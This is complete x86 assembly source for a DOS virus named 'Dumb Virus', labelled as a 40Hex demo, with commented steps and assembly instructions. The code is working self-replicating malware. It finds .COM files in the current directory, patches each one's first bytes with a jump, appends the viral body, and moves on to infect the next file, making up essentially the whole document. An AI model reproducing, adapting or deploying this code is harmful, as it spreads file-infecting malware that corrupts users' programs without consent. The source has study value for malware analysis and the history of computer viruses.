2022-08-21 09:07:57 +00:00
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DumbVirus segment
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Assume CS:DumbVirus
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Org 100h ; account for PSP
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; Dumb Virus - 40Hex demo virus
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; Assemble with TASM /m2
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Start: db 0e9h ; jmp duh
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dw 0
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; This is where the virus starts
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duh: call next
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next: pop bp ; bp holds current location
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sub bp, offset next ; calculate net change
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; Restore the original first three bytes
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lea si, [bp+offset stuff]
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mov di, 100h
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; Put 100h on the stack for the retn later
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; This will allow for the return to the beginning of the file
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push di
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movsw
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movsb
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; Change DTA from default (otherwise Findfirst/next will destroy
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; commandline parametres
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lea dx, [bp+offset dta]
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call set_dta
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mov ah, 4eh ; Find first
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lea dx, [bp+masker] ; search for '*.COM',0
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xor cx, cx ; attribute mask - this is unnecessary
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tryanother:
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int 21h
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jc quit ; Quit on error
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; Open file for read/write
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; Note: This fails on read-only files
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mov ax, 3D02h
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lea dx, [bp+offset dta+30] ; File name is located in DTA
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int 21h
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xchg ax, bx
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; Read in the first three bytes
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mov ah, 3fh
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lea dx, [bp+stuff]
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mov cx, 3
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int 21h
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; Check for previous infection
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mov ax, word ptr [bp+dta+26] ; ax = filesize
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mov cx, word ptr [bp+stuff+1] ; jmp location
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add cx, eov - duh + 3 ; convert to filesize
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cmp ax, cx ; if same, already infected
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jz close ; so quit out of here
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; Calculate the offset of the jmp
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sub ax, 3 ; ax = filesize - 3
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mov word ptr [bp+writebuffer], ax
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; Go to the beginning of the file
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xor al, al
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call f_ptr
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; Write the three bytes
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mov ah, 40h
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mov cx, 3
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lea dx, [bp+e9]
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int 21h
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; Go to the end of the file
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mov al, 2
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call f_ptr
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; And write the rest of the virus
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mov ah, 40h
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mov cx, eov - duh
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lea dx, [bp+duh]
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int 21h
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close:
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mov ah, 3eh
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int 21h
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; Try infecting another file
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mov ah, 4fh ; Find next
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jmp short tryanother
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; Restore the DTA and return control to the original program
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quit: mov dx, 80h ; Restore current DTA to
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; the default @ PSP:80h
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set_dta:
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mov ah, 1ah ; Set disk transfer address
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int 21h
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retn
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f_ptr: mov ah, 42h
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xor cx, cx
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cwd ; equivalent to: xor dx, dx
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int 21h
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retn
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masker db '*.com',0
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; Original three bytes of the infected file
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; Currently holds a INT 20h instruction and a null byte
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stuff db 0cdh, 20h, 0
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e9 db 0e9h
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eov equ $ ; End of the virus
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; The following variables are stored in the heap space (the area between
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; the stack and the code) and are not part of the virus that is written
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; to files.
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writebuffer dw ? ; Scratch area holding the
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; JMP offset
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dta db 42 dup (?)
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DumbVirus ENDS
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END Start
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